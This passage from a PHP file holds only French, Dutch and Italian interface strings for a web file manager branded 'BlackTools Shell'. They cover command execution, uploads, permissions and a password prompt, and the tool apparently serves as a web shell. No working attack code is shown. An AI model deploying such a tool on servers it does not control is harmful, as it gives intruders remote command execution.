1188 $fr2['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nEssayez de sauver';
1189 $fr2['ConfSaved'] = 'Configurations sauvée';
1190 $fr2['PassSaved'] = 'Mot de passe sauvé';
1191 $fr2['FileDirExists'] = 'Fichier ou répertoire déjà existant';
1192 $fr2['NoPhpinfo'] = 'Function phpinfo désactivé';
1193 $fr2['NoReturn'] = 'sans retour possible';
1194 $fr2['FileSent'] = 'Fichier envoyé';
1195 $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint';
1196 $fr2['InvExt'] = 'Extension invalide';
1197 $fr2['FileNoOverw'] = 'Fichier ne peut pas être écrasé';
1198 $fr2['FileOverw'] = 'Fichier écrasé';
1199 $fr2['FileIgnored'] = 'Fichier ignoré';
1200 $fr2['ChkVer'] = 'Check nouvelle version';
1201 $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le téléchargement!!';
1202 $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :(';
1203 $fr2['ChkVerError'] = 'Erreur de connection.';
1204 $fr2['Website'] = 'Site Web';
1205 $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plaît patientez';
1206 $fr2['NoFileSel'] = 'Aucun fichier sélectionné';
1207 $fr2['SelAll'] = 'Tout';
1208 $fr2['SelNone'] = 'Aucuns';
1209 $fr2['SelInverse'] = 'Inverser';
1210 $fr2['Selected_s'] = 'sélectionné';
1211 $fr2['Total'] = 'total';
1212 $fr2['Partition'] = 'Partition';
1213 $fr2['RenderTime'] = 'Temps pour afficher la page';
1214 $fr2['Seconds'] = 'sec';
1215 $fr2['ErrorReport'] = 'Liste des erreurs';
1216
1217 // French - by Michel Lainey
1218 $fr3['Version'] = 'Version';
1219 $fr3['DocRoot'] = 'Racine Document';
1220 $fr3['FLRoot'] = 'Racine File Manager';
1221 $fr3['Name'] = 'Nom';
1222 $fr3['And'] = 'et';
1223 $fr3['Enter'] = 'Valider';
1224 $fr3['Send'] = 'Envoyer';
1225 $fr3['Refresh'] = 'Raffraichir';
1226 $fr3['SaveConfig'] = 'Sauvegarder Config';
1227 $fr3['SavePass'] = 'Sauvegarder Password';
1228 $fr3['SaveFile'] = 'Sauvegarder Fichier';
1229 $fr3['Save'] = 'Sauvegarder';
1230 $fr3['Leave'] = 'Quitter';
1231 $fr3['Edit'] = 'Editer';
1232 $fr3['View'] = 'Visualiser';
1233 $fr3['Config'] = 'Config';
1234 $fr3['Ren'] = 'Renommer';
1235 $fr3['Rem'] = 'Supprimer';
1236 $fr3['Compress'] = 'Compresser';
1237 $fr3['Decompress'] = 'Décompresser';
1238 $fr3['ResolveIDs'] = 'Resoudre IDs';
1239 $fr3['Move'] = 'Déplacer';
1240 $fr3['Copy'] = 'Copier';
1241 $fr3['ServerInfo'] = 'Server Info';
1242 $fr3['CreateDir'] = 'Créer Répertoire';
1243 $fr3['CreateArq'] = 'Créer Fichier';
1244 $fr3['ExecCmd'] = 'Executer Commande';
1245 $fr3['Upload'] = 'Upload';
1246 $fr3['UploadEnd'] = 'Upload Fini';
1247 $fr3['Perm'] = 'Perm';
1248 $fr3['Perms'] = 'Permissions';
1249 $fr3['Owner'] = 'Propriétaire';
1250 $fr3['Group'] = 'Groupe';
1251 $fr3['Other'] = 'Autres';
1252 $fr3['Size'] = 'Taille';
1253 $fr3['Date'] = 'Date';
1254 $fr3['Type'] = 'Type';
1255 $fr3['Free'] = 'libre';
1256 $fr3['Shell'] = 'Shell';
1257 $fr3['Read'] = 'Lecture';
1258 $fr3['Write'] = 'Ecriture';
1259 $fr3['Exec'] = 'Execute';
1260 $fr3['Apply'] = 'Application';
1261 $fr3['StickyBit'] = 'Sticky Bit';
1262 $fr3['Pass'] = 'Password';
1263 $fr3['Lang'] = 'Language';
1264 $fr3['File'] = 'Fichier';
1265 $fr3['File_s'] = 'fichier(s)';
1266 $fr3['Dir_s'] = 'répertoire(s)';
1267 $fr3['To'] = 'Ã ';
1268 $fr3['Destination'] = 'Destination';
1269 $fr3['Configurations'] = 'Configurations';
1270 $fr3['JSError'] = 'Erreur JavaScript';
1271 $fr3['NoSel'] = 'Aucun élément sélectionné';
1272 $fr3['SelDir'] = "Sélectionner le répertoire de destination dans l'arboresence de gauchethe destination directory on the left tree";
1273 $fr3['TypeDir'] = 'Indiquer le nom du répertoire';
1274 $fr3['TypeArq'] = 'Indiquer le nom du fichier';
1275 $fr3['TypeCmd'] = 'Entrer une commande';
1276 $fr3['TypeArqComp'] = "Indiquer le nom du fichier.\\nL'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip";
1277 $fr3['RemSel'] = "SUPPRIMER l'élément sélectionné";
1278 $fr3['NoDestDir'] = "Il n'y a pas de répertoire destination sélectionné";
1279 $fr3['DestEqOrig'] = 'Répertoire Origine et Destination sont identiques';
1280 $fr3['InvalidDest'] = 'Le répertoire de destination est invalide';
1281 $fr3['NoNewPerm'] = 'Nouvelle permission non appliquée';
1282 $fr3['CopyTo'] = 'COPIER vers';
1283 $fr3['MoveTo'] = 'DEPLACER vers';
1284 $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers';
1285 $fr3['ConfExec'] = 'Confirmer EXECUTION';
1286 $fr3['ConfRem'] = 'Confirmer SUPPRESSION';
1287 $fr3['EmptyDir'] = 'Répertoire vide';
1288 $fr3['IOError'] = 'Erreur entrée/sortie';
1289 $fr3['FileMan'] = 'BlackTools Shell';
1290 $fr3['TypePass'] = 'Saisir le mot de passe';
1291 $fr3['InvPass'] = 'Mot de passe invalide';
1292 $fr3['ReadDenied'] = 'Accès en lecture refusé';
1293 $fr3['FileNotFound'] = 'Fichier non trouvé';
1294 $fr3['AutoClose'] = 'Fermeture en fin de traitement';
1295 $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT';
1296 $fr3['NoCmd'] = 'Erreur : Commande non renseignée';
1297 $fr3['ConfTrySave'] = "Fichier sans permission d'écriture.\\nTenter de sauver malgré tout";
1298 $fr3['ConfSaved'] = 'Configurations sauvegardée';
1299 $fr3['PassSaved'] = 'Password sauvegardé';
1300 $fr3['FileDirExists'] = 'Fichier ou répertoire déjà existant';
1301 $fr3['NoPhpinfo'] = 'Fonction phpinfo disactivée';
1302 $fr3['NoReturn'] = 'pas de retour';
1303 $fr3['FileSent'] = 'Fichier envoyé';
1304 $fr3['SpaceLimReached'] = 'Capacité maximale atteinte';
1305 $fr3['InvExt'] = 'Extension invalide';
1306 $fr3['FileNoOverw'] = 'Fichier ne pouvant être remplacé';
1307 $fr3['FileOverw'] = 'Fichier remplacé';
1308 $fr3['FileIgnored'] = 'Fichier ignoré';
1309 $fr3['ChkVer'] = 'Vérifier nouvelle version';
1310 $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le téléchargement !';
1311 $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :(';
1312 $fr3['ChkVerError'] = 'Erreur de connection.';
1313 $fr3['Website'] = 'Site Web';
1314 $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter";
1315 $fr3['NoFileSel'] = 'Pas de fichier sélectionné';
1316 $fr3['SelAll'] = 'Tous';
1317 $fr3['SelNone'] = 'Aucun';
1318 $fr3['SelInverse'] = 'Inverser';
1319 $fr3['Selected_s'] = 'sélectionné';
1320 $fr3['Total'] = 'total';
1321 $fr3['Partition'] = 'Partition';
1322 $fr3['RenderTime'] = 'Temps nécessaire pour obtenir cette page';
1323 $fr3['Seconds'] = 'sec';
1324 $fr3['ErrorReport'] = 'Erreur de compte rendu';
1325
1326 // Dutch - by Leon Buijs
1327 $nl['Version'] = 'Versie';
1328 $nl['DocRoot'] = 'Document Root';
1329 $nl['FLRoot'] = 'File Manager Root';
1330 $nl['Name'] = 'Naam';
1331 $nl['And'] = 'en';
1332 $nl['Enter'] = 'Enter';
1333 $nl['Send'] = 'Verzend';
1334 $nl['Refresh'] = 'Vernieuw';
1335 $nl['SaveConfig'] = 'Configuratie opslaan';
1336 $nl['SavePass'] = 'Wachtwoord opslaan';
1337 $nl['SaveFile'] = 'Bestand opslaan';
1338 $nl['Save'] = 'Opslaan';
1339 $nl['Leave'] = 'Verlaten';
1340 $nl['Edit'] = 'Wijzigen';
1341 $nl['View'] = 'Toon';
1342 $nl['Config'] = 'Configuratie';
1343 $nl['Ren'] = 'Naam wijzigen';
1344 $nl['Rem'] = 'Verwijderen';
1345 $nl['Compress'] = 'Comprimeren';
1346 $nl['Decompress'] = 'Decomprimeren';
1347 $nl['ResolveIDs'] = 'Resolve IDs';
1348 $nl['Move'] = 'Verplaats';
1349 $nl['Copy'] = 'Kopieer';
1350 $nl['ServerInfo'] = 'Serverinformatie';
1351 $nl['CreateDir'] = 'Nieuwe map';
1352 $nl['CreateArq'] = 'Nieuw bestand';
1353 $nl['ExecCmd'] = 'Commando uitvoeren';
1354 $nl['Upload'] = 'Upload';
1355 $nl['UploadEnd'] = 'Upload voltooid';
1356 $nl['Perm'] = 'Rechten';
1357 $nl['Perms'] = 'Rechten';
1358 $nl['Owner'] = 'Eigenaar';
1359 $nl['Group'] = 'Groep';
1360 $nl['Other'] = 'Anderen';
1361 $nl['Size'] = 'Grootte';
1362 $nl['Date'] = 'Datum';
1363 $nl['Type'] = 'Type';
1364 $nl['Free'] = 'free';
1365 $nl['Shell'] = 'Shell';
1366 $nl['Read'] = 'Lezen';
1367 $nl['Write'] = 'Schrijven';
1368 $nl['Exec'] = 'Uitvoeren';
1369 $nl['Apply'] = 'Toepassen';
1370 $nl['StickyBit'] = 'Sticky Bit';
1371 $nl['Pass'] = 'Wachtwoord';
1372 $nl['Lang'] = 'Taal';
1373 $nl['File'] = 'Bestand';
1374 $nl['File_s'] = 'bestand(en)';
1375 $nl['Dir_s'] = 'map(pen)';
1376 $nl['To'] = 'naar';
1377 $nl['Destination'] = 'Bestemming';
1378 $nl['Configurations'] = 'Instellingen';
1379 $nl['JSError'] = 'Javascriptfout';
1380 $nl['NoSel'] = 'Er zijn geen bestanden geselecteerd';
1381 $nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant';
1382 $nl['TypeDir'] = 'Voer de mapnaam in';
1383 $nl['TypeArq'] = 'Voer de bestandsnaam in';
1384 $nl['TypeCmd'] = 'Voer het commando in';
1385 $nl['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1386 $nl['RemSel'] = 'VERWIJDER geselecteerde itens';
1387 $nl['NoDestDir'] = 'Er is geen doelmap geselecteerd';
1388 $nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde';
1389 $nl['InvalidDest'] = 'Doelmap is ongeldig';
1390 $nl['NoNewPerm'] = 'Nieuwe rechten niet geset';
1391 $nl['CopyTo'] = 'KOPIEER naar';
1392 $nl['MoveTo'] = 'VERPLAATS naar';
1393 $nl['AlterPermTo'] = 'VERANDER RECHTEN in';
1394 $nl['ConfExec'] = 'Bevestig UITVOEREN';
1395 $nl['ConfRem'] = 'Bevestig VERWIJDEREN';
1396 $nl['EmptyDir'] = 'Lege map';
1397 $nl['IOError'] = 'I/O Error';
1398 $nl['FileMan'] = 'BlackTools Shell';
1399 $nl['TypePass'] = 'Voer het wachtwoord in';
1400 $nl['InvPass'] = 'Ongeldig wachtwoord';
1401 $nl['ReadDenied'] = 'Leestoegang ontzegd';
1402 $nl['FileNotFound'] = 'Bestand niet gevonden';
1403 $nl['AutoClose'] = 'Sluit na voltooien';
1404 $nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT';
1405 $nl['NoCmd'] = 'Error: Command not informed';
1406 $nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier';
1407 $nl['ConfSaved'] = 'Instellingen opgeslagen';
1408 $nl['PassSaved'] = 'Wachtwoord opgeslagen';
1409 $nl['FileDirExists'] = 'Bestand of map bestaat al';
1410 $nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld';
1411 $nl['NoReturn'] = 'no return';
1412 $nl['FileSent'] = 'Bestand verzonden';
1413 $nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt';
1414 $nl['InvExt'] = 'Ongeldige extensie';
1415 $nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven';
1416 $nl['FileOverw'] = 'Bestand overgeschreven';
1417 $nl['FileIgnored'] = 'Bestand genegeerd';
1418 $nl['ChkVer'] = 'Controleer nieuwe versie';
1419 $nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten';
1420 $nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar';
1421 $nl['ChkVerError'] = 'Verbindingsfout.';
1422 $nl['Website'] = 'Website';
1423 $nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...';
1424 $nl['NoFileSel'] = 'Geen bestanden geselecteerd';
1425 $nl['SelAll'] = 'Alles';
1426 $nl['SelNone'] = 'Geen';
1427 $nl['SelInverse'] = 'Keer om';
1428 $nl['Selected_s'] = 'geselecteerd';
1429 $nl['Total'] = 'totaal';
1430 $nl['Partition'] = 'Partitie';
1431 $nl['RenderTime'] = 'Tijd voor maken van deze pagina';
1432 $nl['Seconds'] = 'sec';
1433 $nl['ErrorReport'] = 'Foutenrapport';
1434
1435 // Italian - by Valerio Capello
1436 $it1['Version'] = 'Versione';
1437 $it1['DocRoot'] = 'Document Root';
1438 $it1['FLRoot'] = 'File Manager Root';
1439 $it1['Name'] = 'Nome';
1440 $it1['And'] = 'e';
1441 $it1['Enter'] = 'Immetti';
1442 $it1['Send'] = 'Invia';
1443 $it1['Refresh'] = 'Aggiorna';
1444 $it1['SaveConfig'] = 'Salva la Configurazione';
1445 $it1['SavePass'] = 'Salva la Password';
1446 $it1['SaveFile'] = 'Salva il File';
1447 $it1['Save'] = 'Salva';
1448 $it1['Leave'] = 'Abbandona';
1449 $it1['Edit'] = 'Modifica';
1450 $it1['View'] = 'Guarda';
1451 $it1['Config'] = 'Configurazione';
1452 $it1['Ren'] = 'Rinomina';
1453 $it1['Rem'] = 'Elimina';
1454 $it1['Compress'] = 'Comprimi';
1455 $it1['Decompress'] = 'Decomprimi';
1456 $it1['ResolveIDs'] = 'Risolvi IDs';
1457 $it1['Move'] = 'Sposta';
1458 $it1['Copy'] = 'Copia';
1459 $it1['ServerInfo'] = 'Informazioni sul Server';
1460 $it1['CreateDir'] = 'Crea Directory';
1461 $it1['CreateArq'] = 'Crea File';
1462 $it1['ExecCmd'] = 'Esegui Comando';
1463 $it1['Upload'] = 'Carica';
1464 $it1['UploadEnd'] = 'Caricamento terminato';
1465 $it1['Perm'] = 'Perm';
1466 $it1['Perms'] = 'Permessi';
1467 $it1['Owner'] = 'Proprietario';
1468 $it1['Group'] = 'Gruppo';
1469 $it1['Other'] = 'Altri';
1470 $it1['Size'] = 'Dimensioni';
1471 $it1['Date'] = 'Data';
1472 $it1['Type'] = 'Tipo';
1473 $it1['Free'] = 'liberi';
1474 $it1['Shell'] = 'Shell';
1475 $it1['Read'] = 'Lettura';
1476 $it1['Write'] = 'Scrittura';
1477 $it1['Exec'] = 'Esecuzione';
1478 $it1['Apply'] = 'Applica';
1479 $it1['StickyBit'] = 'Sticky Bit';
1480 $it1['Pass'] = 'Password';
1481 $it1['Lang'] = 'Lingua';
1482 $it1['File'] = 'File';
1483 $it1['File_s'] = 'file';
1484 $it1['Dir_s'] = 'directory';
1485 $it1['To'] = 'a';
1486 $it1['Destination'] = 'Destinazione';
1487 $it1['Configurations'] = 'Configurazione';
1488 $it1['JSError'] = 'Errore JavaScript';
1489 $it1['NoSel'] = 'Non ci sono elementi selezionati';
1490 $it1['SelDir'] = 'Scegli la directory di destinazione';
1491 $it1['TypeDir'] = 'Inserisci il nome della directory';
1492 $it1['TypeArq'] = 'Inserisci il nome del file';
1493 $it1['TypeCmd'] = 'Inserisci il comando';
1494 $it1['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definirà il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1495 $it1['RemSel'] = 'ELIMINA gli elementi selezionati';
1496 $it1['NoDestDir'] = 'LA directory di destinazione non è stata selezionata';
1497 $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa';
1498 $it1['InvalidDest'] = 'La directory di destinazione non è valida';
1499 $it1['NoNewPerm'] = 'Nuovi permessi non attivati';
1500 $it1['CopyTo'] = 'COPIA in';
1501 $it1['MoveTo'] = 'SPOSTA in';
1502 $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: ';
1503 $it1['ConfExec'] = 'Conferma ESECUZIONE';
1504 $it1['ConfRem'] = 'Conferma ELIMINAZIONE';
1505 $it1['EmptyDir'] = 'Directory vuota';
1506 $it1['IOError'] = 'Errore di I/O';
1507 $it1['FileMan'] = 'BlackTools Shell';
1508 $it1['TypePass'] = 'Immetti la password';
1509 $it1['InvPass'] = 'Password non valida';
1510 $it1['ReadDenied'] = 'Permesso di lettura negato';
1511 $it1['FileNotFound'] = 'File non trovato';
1512 $it1['AutoClose'] = 'Chiudi la finestra al termine';
1513 $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
1514 $it1['NoCmd'] = 'Errore: Comando non informato';
1515 $it1['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque';
1516 $it1['ConfSaved'] = 'Configurazione salvata';
1517 $it1['PassSaved'] = 'Password salvata';
1518 $it1['FileDirExists'] = 'Il file o la directory esiste già ';
1519 $it1['NoPhpinfo'] = 'La funzione phpinfo è disabilitata';
1520 $it1['NoReturn'] = 'senza Return';
1521 $it1['FileSent'] = 'File inviato';
1522 $it1['SpaceLimReached'] = 'è stato raggiunto il limite di spazio disponibile';
1523 $it1['InvExt'] = 'Estensione non valida';
1524 $it1['FileNoOverw'] = 'Il file non può essere sovrascritto';
1525 $it1['FileOverw'] = 'File sovrascritto';
1526 $it1['FileIgnored'] = 'File ignorato';
1527 $it1['ChkVer'] = 'Controlla se è disponibile una nuova versione';
1528 $it1['ChkVerAvailable'] = 'è disponibile una nuova versione: premi qui per scaricarla.';
1529 $it1['ChkVerNotAvailable'] = 'Non è disponibile nessuna nuova versione. :(';
1530 $it1['ChkVerError'] = 'Errore di connessione.';
1531 $it1['Website'] = 'Sito Web';
1532 $it1['SendingForm'] = 'Invio file, attendere prego';
1533 $it1['NoFileSel'] = 'Nessun file selezionato';
1534 $it1['SelAll'] = 'Tutti';
1535 $it1['SelNone'] = 'Nessuno';
1536 $it1['SelInverse'] = 'Inverti';
1537 $it1['Selected_s'] = 'selezionato';
1538 $it1['Total'] = 'totali';
1539 $it1['Partition'] = 'Partizione';
1540 $it1['RenderTime'] = 'Tempo per elaborare questa pagina';
1541 $it1['Seconds'] = 'sec';
1542 $it1['ErrorReport'] = 'Error Reporting';
1543
1544 // Italian - by Federico CorrÃ
1545 $it2['Version'] = 'Versione';
1546 $it2['DocRoot'] = 'Root Documenti';
1547 $it2['FLRoot'] = 'Root del File Manager';
1548 $it2['Name'] = 'Nome';
1549 $it2['And'] = 'e';
1550 $it2['Enter'] = 'Invio';
1551 $it2['Send'] = 'Spedisci';
1552 $it2['Refresh'] = 'Aggiorna';
1553 $it2['SaveConfig'] = 'Salva configurazioni';
1554 $it2['SavePass'] = 'Salva password';
1555 $it2['SaveFile'] = 'Salva file';
1556 $it2['Save'] = 'Salva';
1557 $it2['Leave'] = 'Esci';
1558 $it2['Edit'] = 'Modifica';
1559 $it2['View'] = 'Visualizza';
1560 $it2['Config'] = 'Configura';
1561 $it2['Ren'] = 'Rinomina';
1562 $it2['Rem'] = 'Cancella';
1563 $it2['Compress'] = 'Comprimi';
1564 $it2['Decompress'] = 'Decomprimi';
1565 $it2['ResolveIDs'] = 'Risolvi ID';
1566 $it2['Move'] = 'Muovi';
1567 $it2['Copy'] = 'Copia';
1568 $it2['ServerInfo'] = 'Server info';
1569 $it2['CreateDir'] = 'Crea cartella';
1570 $it2['CreateArq'] = 'Crea file';
1571 $it2['ExecCmd'] = 'Esegui comando';
1572 $it2['Upload'] = 'Upload';
1573 $it2['UploadEnd'] = 'Upload terminato';
1574 $it2['Perm'] = 'Perm';
1575 $it2['Perms'] = 'Permessi';
1576 $it2['Owner'] = 'Owner';
1577 $it2['Group'] = 'Grouppo';
1578 $it2['Other'] = 'Altro';
1579 $it2['Size'] = 'Dimensione';
1580 $it2['Date'] = 'Data';
1581 $it2['Type'] = 'Tipo';
1582 $it2['Free'] = 'liberi';
1583 $it2['Shell'] = 'Shell';
1584 $it2['Read'] = 'Lettura';
1585 $it2['Write'] = 'Scrittura';
1586 $it2['Exec'] = 'Esecuzione';
1587 $it2['Apply'] = 'Applica';
1588 $it2['StickyBit'] = 'Sticky Bit';
1589 $it2['Pass'] = 'Password';
1590 $it2['Lang'] = 'Lingua';
1591 $it2['File'] = 'File';
1592 $it2['File_s'] = 'file';
1593 $it2['Dir_s'] = 'cartella';
1594 $it2['To'] = 'a';
1595 $it2['Destination'] = 'Destinazione';
1596 $it2['Configurations'] = 'Configurazioni';
1597 $it2['JSError'] = 'Errore JavaScript';
1598 $it2['NoSel'] = 'Nessun item selezionato';
1599 $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra';
1600 $it2['TypeDir'] = 'Inserisci il nome della cartella';
1601 $it2['TypeArq'] = 'Inserisci il nome del file';
1602 $it2['TypeCmd'] = 'Inserisci il comando';
1603 $it2['TypeArqComp'] = 'Inserisci il nome del file.\\nL\'estensione definirà le modalità di compressione.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1604 $it2['RemSel'] = 'ELIMINA gli item selezionati';
1605 $it2['NoDestDir'] = 'Non è stata selezionata la cartella di destinazione';
1606 $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono';
1607 $it2['InvalidDest'] = 'La cartella di destinazione non è valida';
1608 $it2['NoNewPerm'] = 'Nuovo permesso non definito';
1609 $it2['CopyTo'] = 'COPIA in';
1610 $it2['MoveTo'] = 'MUOVI in';
1611 $it2['AlterPermTo'] = 'CAMBIA PERMESSI in';
1612 $it2['ConfExec'] = 'Conferma ESECUZIONE';
1613 $it2['ConfRem'] = 'Conferma CANCELLA';
1614 $it2['EmptyDir'] = 'Cartella Vuota';
1615 $it2['IOError'] = 'Errore I/O';
1616 $it2['FileMan'] = 'BlackTools Shell';
1617 $it2['TypePass'] = 'Inserisci la password';
1618 $it2['InvPass'] = 'Password non valida';
1619 $it2['ReadDenied'] = 'Accesso in lettura non consentito';
1620 $it2['FileNotFound'] = 'File non trovato';
1621 $it2['AutoClose'] = 'Chiudi dopo aver completato';
1622 $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
1623 $it2['NoCmd'] = 'Errore: comando non informato';
1624 $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.\\nProva a salvare comunque';
1625 $it2['ConfSaved'] = 'Configurazioni salvate';
1626 $it2['PassSaved'] = 'Password salvate';
1627 $it2['FileDirExists'] = 'Il file o la cartella esiste già ';
1628 $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1629 $it2['NoReturn'] = 'Nessun ritorno';
1630 $it2['FileSent'] = 'File spedito';
1631 $it2['SpaceLimReached'] = 'Limite di spazio raggiunto';
1632 $it2['InvExt'] = 'Estensione non valida';
1633 $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto';
1634 $it2['FileOverw'] = 'File sovrascritto';
1635 $it2['FileIgnored'] = 'File ignorato';
1636 $it2['ChkVer'] = 'Check nuova versione';
1637 $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!';
1638 $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
1639 $it2['ChkVerError'] = 'Errore di connessione.';
1640 $it2['Website'] = 'Sito Web';
1641 $it2['SendingForm'] = 'Invio file, prego attendi';
1642 $it2['NoFileSel'] = 'Nessun file selezionato';
1643 $it2['SelAll'] = 'Tutti';
1644 $it2['SelNone'] = 'Nessuno';
1645 $it2['SelInverse'] = 'Inverti';
1646 $it2['Selected_s'] = 'selezionati';
1647 $it2['Total'] = 'totale';
1648 $it2['Partition'] = 'Partizione';
1649 $it2['RenderTime'] = 'Tempo per renderizzare questa pagina';
1650 $it2['Seconds'] = 'sec';
1651 $it2['ErrorReport'] = 'Report errori';
1652
1653 // Italian - by Luca Zorzi
1654 $it3['Version'] = 'Versione';
1655 $it3['DocRoot'] = 'Document Root';
1656 $it3['FLRoot'] = 'Root del File Manager';
1657 $it3['Name'] = 'Nome';
1658 $it3['And'] = 'e';
1659 $it3['Enter'] = 'Invio';
1660 $it3['Send'] = 'Invia';
1661 $it3['Refresh'] = 'Aggiorna';
1662 $it3['SaveConfig'] = 'Salva le impostazioni';
1663 $it3['SavePass'] = 'Salva la Password';
1664 $it3['SaveFile'] = 'Salva il File';
1665 $it3['Save'] = 'Salva';
1666 $it3['Leave'] = 'Annulla';
1667 $it3['Edit'] = 'Modifica';
1668 $it3['View'] = 'Guarda';
1669 $it3['Config'] = 'Impostazioni';
1670 $it3['Ren'] = 'Rinomina';
1671 $it3['Rem'] = 'Elimina';
1672 $it3['Compress'] = 'Comprimi';
1673 $it3['Decompress'] = 'Decomprimi';
1674 $it3['ResolveIDs'] = 'Risolvi ID';
1675 $it3['Move'] = 'Sposta';
1676 $it3['Copy'] = 'Copia';
1677 $it3['ServerInfo'] = 'Server Info';
1678 $it3['CreateDir'] = 'Crea Cartella';
1679 $it3['CreateArq'] = 'Crea File';
1680 $it3['ExecCmd'] = 'Esegui Comando';
1681 $it3['Upload'] = 'Upload';
1682 $it3['UploadEnd'] = 'Upload completato';
1683 $it3['Perm'] = 'Perm';
1684 $it3['Perms'] = 'Permessi';
1685 $it3['Owner'] = 'Proprietario';
1686 $it3['Group'] = 'Gruppo';
1687 $it3['Other'] = 'Altri';
1688 $it3['Size'] = 'Dimensione';
1689 $it3['Date'] = 'Data';
1690 $it3['Type'] = 'Tipo';
1691 $it3['Free'] = 'libero';
1692 $it3['Shell'] = 'Shell';
1693 $it3['Read'] = 'Lettura';
1694 $it3['Write'] = 'Scruttura';
1695 $it3['Exec'] = 'Esecuzione';
1696 $it3['Apply'] = 'Applica';
1697 $it3['StickyBit'] = 'Bit Sticky';
1698 $it3['Pass'] = 'Password';
1699 $it3['Lang'] = 'Lingua';
1700 $it3['File'] = 'File';
1701 $it3['File_s'] = 'file';
1702 $it3['Dir_s'] = 'cartella/e';
1703 $it3['To'] = 'a';
1704 $it3['Destination'] = 'Destinazione';
1705 $it3['Configurations'] = 'Configurazioni';
1706 $it3['JSError'] = 'Errore JavaScript';
1707 $it3['NoSel'] = 'Non ci sono elementi selezioneti';
1708 $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra';
1709 $it3['TypeDir'] = 'Inserisci il nome della cartella';
1710 $it3['TypeArq'] = 'Inserisci il nome del file';
1711 $it3['TypeCmd'] = 'Inserisci il comando';
1712 $it3['TypeArqComp'] = 'Inserisci il nome del file.\\nIl nome definir à il tipo della compressione .\\nEs:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
1713 $it3['RemSel'] = 'ELIMINA gli elementi selezionati';
1714 $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione';
1715 $it3['DestEqOrig'] = 'La cartella di origine e destinazione è la stessa';
1716 $it3['InvalidDest'] = 'La cartella di destinazione non è valida';
1717 $it3['NoNewPerm'] = 'Nuovi permessi non impostati';
1718 $it3['CopyTo'] = 'COPIA in';
1719 $it3['MoveTo'] = 'SPOSTA in';
1720 $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a';
1721 $it3['ConfExec'] = 'Conferma ESECUZIONE';
1722 $it3['ConfRem'] = 'Conferma ELIMINAZIONE';
1723 $it3['EmptyDir'] = 'CArtella vuota';
1724 $it3['IOError'] = 'Errore di I/O';
1725 $it3['FileMan'] = 'BlackTools Shell';
1726 $it3['TypePass'] = 'Inserisci la password';
1727 $it3['InvPass'] = 'Password errata';
1728 $it3['ReadDenied'] = 'Accesso in lettura negato';
1729 $it3['FileNotFound'] = 'File non trovato';
1730 $it3['AutoClose'] = 'Chiudi alla fine';
1731 $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT';
1732 $it3['NoCmd'] = 'Errore: Comando non informato';
1733 $it3['ConfTrySave'] = 'File senza il permesso di scrittura.\\nProvare a salvarlo comunque';
1734 $it3['ConfSaved'] = 'Configurazione salvata';
1735 $it3['PassSaved'] = 'Password salvata';
1736 $it3['FileDirExists'] = 'Il file o la cartella esiste già';
1737 $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
1738 $it3['NoReturn'] = 'no return';
1739 $it3['FileSent'] = 'File inviato';
1740 $it3['SpaceLimReached'] = 'Limite di spazio raggiunto';
1741 $it3['InvExt'] = 'Estensione non valida';
1742 $it3['FileNoOverw'] = 'Il file non può essere sovrascritto';
1743 $it3['FileOverw'] = 'File sovrascritto';
1744 $it3['FileIgnored'] = 'File ignorato';
1745 $it3['ChkVer'] = 'Controlla la presnza di una nuova versione';
1746 $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!';
1747 $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
1748 $it3['ChkVerError'] = 'Errore di connessione.';
1749 $it3['Website'] = 'Sito';
1750 $it3['SendingForm'] = 'Invio dei file, attendi';
1751 $it3['NoFileSel'] = 'Nessun file selezionato';
1752 $it3['SelAll'] = 'Tutti';
1753 $it3['SelNone'] = 'Nessuno';
